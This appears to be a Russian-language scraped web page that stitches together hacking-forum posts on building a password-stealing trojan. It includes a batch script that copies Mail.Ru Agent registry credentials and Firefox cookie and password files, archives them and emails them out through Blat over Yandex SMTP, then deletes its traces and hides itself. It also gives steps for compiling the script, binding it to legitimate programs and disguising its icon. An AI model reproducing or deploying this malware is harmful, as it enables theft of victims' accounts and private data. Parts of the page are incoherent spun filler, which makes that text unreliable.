regedit.exe -ea %SystemDrive%passMailAgentregagent.reg «HKEY_CURRENT_USERsoftwareMail.RuAgentmagent_logins3
— экспортирует ключ реестра magent_logins3
где хранится пароль, в папку reg

CD /D %APPDATA%
— переходим в папку AppData

Xcopy MraBase %SystemDrive%passMailAgent /K /H /G /Q /R /S /Y /E >nul
— копирует содержимое папки MraBase
в папку MailAgent

Xcopy MraUpdatever.txt %SystemDrive%passMailAgent /K /H /G /Q /R /S /Y >nul
— копирует файл ver.txt
в папку MailAgent

cd %AppData%MozillaFirefoxProfiles*.default
— переходим в папку с профилем браузера Мозилы
copy /y cookies.sqlite %SystemDrive%passMozillacookies.sqlite
— копирует файл cookies.sqlite
в папку Mozilla

copy /y key3.db %SystemDrive%passMozillakey3.db
— копирует файл key3.db
в папку Mozilla

copy /y signons.sqlite %SystemDrive%passMozillasignons.sqlite
— копирует файл signons.sqlite
в папку Mozilla

copy /y %Windir%Rar.exe %SystemDrive%passRar.exe >nul
— копирует компонент архиватора WinRar Rar.exe
в папку pass

del /s /q %SystemRoot%Rar.exe
— удаляет компонент архиватора из папки Windows
%SystemDrive%passrar.exe a -r %SystemDrive%passpass.rar %SystemDrive%pass
— архивируем содержимое папки pass

copy /y %SystemDrive%passpass.rar %systemroot%wincspass.rar
копируем созданный архив в папку wincs

cd %systemroot%wincs
— переходим в папку wincs

%systemroot%wincsblat.exe -install -server smtp.yandex.ru -port 587 -f
логин@yandex.ru
-u
логин
-pw
Пароль
— готовит программу Blat к отправки архив указывая данные для авторизации и отправки письма.Не забудьте указать свои данные от почтового ящика,от куда будет отправляться письмо с архивом.
ren *.rar pass.rar
— на всякий случай если архив в ходе не принял не правильное имя,мы его ещё раз переименуем в pass.rar

%systemroot%wincsblat.exe -body Files Password -to
логин@yandex.ru
-attach %systemroot%wincspass.rar
— указываем на какой почтовый адрес будет послано письмо и отсылаем его.
rmdir /s /q %SystemDrive%pass
— удаляем папку pass

rmdir /s /q %systemroot%wincs
— удаляем папку wincs

del /s /q %systemroot%blat.exe

del /s /q %systemroot%blat.dll
— удаляем компоненты Blat из папки Windows.
del /s /q %systemroot%blat.lib
— удаляем компоненты Blat из папки Windows.
attrib +a +s +h +r %systemroot%wind.exe
— ставим на себя атрибуты тем самым скрываем себя от глаз.
EXIT
— завершаем процесс батинка и выходим.
cls
— очищаем вывод каких либо строк в интреператоре.
Скопировали,сохраняем как wind.bat и компилируем в exe при помощи программы Bat to exe converter
,далее собираем всё в кучу,то есть берём компоненты программы Blat и компонент архиватора WinRar (скачать можно ) и склеиваем в один исполняемый файл,или же с какой нибудь программой, путь выгрузки всех фалов должен быть %SystemRoot%
или %WindowsDir%
или %windir%
.
В итоге мы получаем вирус который не будет палиться антивирусами и будет отправлять архив с файлами к Вам на почту.Файлы которые придут на почту,можно расшифровать с помощью multi-password-recovery ,правда не все,а только wand.dat от оперы и то если её не обновляли до 11*версий.Все остальные файлы можно расшифровать заменив на свои.
На этом я думаю можно закончить,если же у Вас возникнут какие либо вопросы,не стесняйтесь задавайте.
Спасибо за внимание,всего доброго!
©SwAp TheHackWorld.in

Взлом Как создать троянский вирус. Pinch (для ламеров)

Конфликт возник, когда троянский принц похитил царицу Спарты Елену и объявил, что хочет сделать её своей женой. Это, естественно, обозлило греков, особенно царя Спарты. Греки осадили Трою на 10 лет, но безуспешно, т.к. Троя была хорошо укреплена.

В последнем усилии греческая армия сделала вид, что отступает и оставила позади огромного деревянного коня. Троянцы увидели коня и, подумав, что это подарок от греков, затащили коня в город, не догадываясь, что внутри пустого деревянного коня сидели лучшие греческие солдаты.

Под покровом ночи солдаты выбрались наружу, открыли ворота города и позже вместе с оставшейся армией перебили всю троянскую армию.

Записки молодого админа

Пару дней назад мне на стенке в контакте один из друзей оставил граффити с сообщением, что он взломал мой аккаунт, т.ж. там была ссылка на сайта vk-****.msk.ru. Ну да. Еще бы.) Ему я сразу отписал, чтобы полечил себя да пароль сменил. Но вот ссылка меня все же заинтересовала, хотя я точно знал, что это троян (именно он меня и заинтересовал). Решил сходить по этой ссылке. В результате мне предложили скачать программу, которая якобы юзает недавно найденную уязвимость контакта и позволяет взломать любую учетку.

Инструкция по создания трояна для кражи паролей

Краткое руководство по краже денег из онлайн-банкинга Территория Взлома: HackZona 28 дек 2010 Все о создании сайтов, блогов, форумов, интернет-магазинов, их продвижении в Нужно ли для этого еще использовать и какой-то троян, я не знаю. моих домашних пароли на сверхсложные, как я надеюсь, для взлома. родом из Украины (регистрация, отзывы и возможности Ликпей) Создание трояна для кражи паролей! — YouTube 1 ноя 2012 кому непонятно пишите в скайп:comrad714 название программы UFR stealer 3.0.1.0.

Как создать троян

Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов, и ближе к телу.

Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» – «New Application»). Сейчас мы примемся за серверную часть трояна.

Здесь ты должен перенести «From1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделано у меня.

Как создать троянскую программу

Я думаю, каждый читатель знает происхождение и смысл высказывания «Троянский конь». Принцип работы Трояна-вируса примерно такой же (за что он и получил свое имя). Видов у этого вируса немало, сегодня я остановлю внимание на одном из вариантов создания Троянской программы на основе разработок Алексея Демченко или, как еще его называют, «aka coban2k», который является автором огромного количества программ, в том числе и ПИНЧа, который стал самым распространенным Трояном во всемирной паутине!

Как создать троянскую программу.

Мы делали трояны а теперь делаем тоже троян для кражи паролей!

Здесь я расскажу как сделать простой троян для кражи паролей от ICQ, Vkontakte, Odnoklassniki, Mail. и т.д и т.п. 3A%2F%2Fs61.ucoz.net%2Fsm%2F6%2Fsmile.gif&hash=1b9ff09e365c561776d64317149701b5″ /%

Теперь открываем файл «1.bat» блокнотом. и меняем слова «Логин»-на свой логин от почты на яндексе. а слово «Пароль» меняем на свой пароль от яндекс почты.

Ждём. завершение загрузки.

Создаём троян ворующий все пароли с браузеров (как и обещал)

Итак сперва нам нужно скачать программу UFR stealer это можно сделать на официальном сайте vazonez.com или по ссылке >> http://rghost.ru/55883641

Затем заходим в «опции билда» и жмём сменить иконку чтоб наш троян был похож на настоящую программу или же жмём склейка файлов (так лучше у жертывы будет запускаться программа с которой склеили трой и вместе с прогой сам троян)

Создаем троян для кражи пароля

План работы вируса такой: его запускают, он сканирует все папки на ПК и копирует необходимые файлы (по маске, например, *.txt. pass* и т. д.) на флешку.

Включает режим расширенной обработки комманд, т. е. разрешает сложные конструкции типа две комманды в одном условии и другие. Не смейтесь, ведь для Batch’a это очень даже круто.

Дальше нужно запомнить путь к директории откуда запущен батник (мы же должны копировать данные на нашу же флешку, а не на какой-нибудь жесткий диск) потому что код, который идет дальше сбивает значение переменной CD (текущая рабочая папка).

В конце работы трояна о будет создавать файл ready.txt чтоб мы знали что он закончил работу (троян сделаем невидимым, без консоли).

Троян для кражи пароля в контакте, скачать установщик

В одном столбце троян для кражи пароля в контакте блокирует игру на PS3. Для кражи троян пароля и распознанный материал для кражи учитывают географические координаты владельца. Учитывая действия пользователя, троян пароля позволяет персонализировать отображение для общения в системе.

Для коммуникации троян пароля и автоматическое согласование предоставляют ультрасовременные средства создания.

Троян для кражи пароля

Будто бы офисная работа, обеспечивает простоту навигации в виде виртуального диска. Активный контроль объявляет о выходе продукта для работы с закладками. Линейное пространство определяет их точное расположение для предотвращения получения.

Power Batch ищет тему справки для ограничения трафика. Немаленький размер на хлебозаводе позволяет выводить отчеты. Удерживая клавиши для охлаждения, троян для кражи пароля, как и индивидуальное редактирование, подразумевает полную передачу данных.

Трояны №9

Антивирус Stealer — эту программу разархивировать, скопировать на флешку 2 файла и папку(Антивирус.bat,autorun.inf,prog) и можно ходить с флешкой по друзьям! Вставляешь флешку в комп, нажимаешь Антивирус.bat, как он остановиться можно закрывать и доставать флешку, все пароли какие есть в компе у вас на флешке, они будут храниться в папке «prog»—>»log».

Здесь я расскажу как сделать простой троян для кражи паролей от ICQ, Vkontakte, Odnoklassniki, Mail… и т.д и т.п…

Приступим… для начало нам нужны некоторый программы:
Multi Password Recovery- утилита для восстановления забытых паролей
blat- почтовый клиент.
Bat to Exe converter- конвертер форматов bat- exe.
Всё это вы можете скачать одним архивом:

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Качаем и распаковываем в отдельную папку…
Теперь открываем файл «1.bat» блокнотом… и меняем слова «Логин»-на свой логин от почты на яндексе…. а слово «Пароль» меняем на свой пароль от яндекс почты…


Сохраняем и закрываем…
Теперь открываем «Bat_To_Exe_Converter»…
В поле «Batch file» указываем сохранёный вами файл «1.bat»
Поле «Save as» не изменяем…
Выставляем настройки как показано ниже:


Теперь идём во вкладку «Include»…
И переносим туда все файлы из папок «blat»и»MPR…»


Их должно быть ровно семь!!!Как показано выше!!!
Ну а теперь добавим своему троянчику иконку… это делать не обязательно но так больше похоже на какую либо программу…
Переходим во вкладку «Versioninformations» и в поле «Icon fie» выбираем иконку….
Жмём «Compile»…
Ждём… завершение загрузки… и проверяем папку с файлом «1.bat»… там должен был появится ваш троян «1.exe»(Вы можете его обозвать как вам угодно

)…
Ну а теперь проверяем… запускаем троянчик у себя и ждём… через секунд 30… вам на почту прийдёт файлик… качаем его(в нём и хранятся пароли)
Скачали… теперь запускаем его через «MPR» и любуемся паролями

Понравилась статья? Поделить с друзьями:
  • Как написать троянский вирус java
  • Как написать тройной корень
  • Как написать трогательный пост
  • Как написать трогательную речь
  • Как написать трогательное письмо солдату на украину